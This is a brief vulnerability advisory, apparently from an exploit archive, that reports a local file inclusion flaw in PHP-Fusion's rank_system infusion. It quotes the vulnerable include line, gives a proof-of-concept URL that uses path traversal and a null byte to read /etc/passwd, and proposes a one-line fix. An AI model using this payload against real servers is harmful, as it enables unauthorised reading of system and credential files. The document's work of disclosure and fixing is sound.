frs-lfi.txt

`Respect for Rgod...R.I.P my master!  
  
AUTHOR :  
Matrix86  
Contact:  
matrix86 [AT ] tuxmealux [ DOT] net  
  
Found Lfi (Local file inclusion) in:  
/infusions/rank_system/forum.php  
/infusions/rank_system/profile.php  
  
Vulnerability info:  
Line: 12  
Code:  
include("../infusions/rank_system/locale/".$settings['locale'].".php");  
Attention: Work only with magic_quotes_gpc = Off  
  
Poc:  
  
http://[site]/[Php-Fusion]/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00  
  
Fix:  
Line: 11  
Code: if (!defined("IN_FUSION")) { die("Fixed..sorry =)"); exit; }  
  
`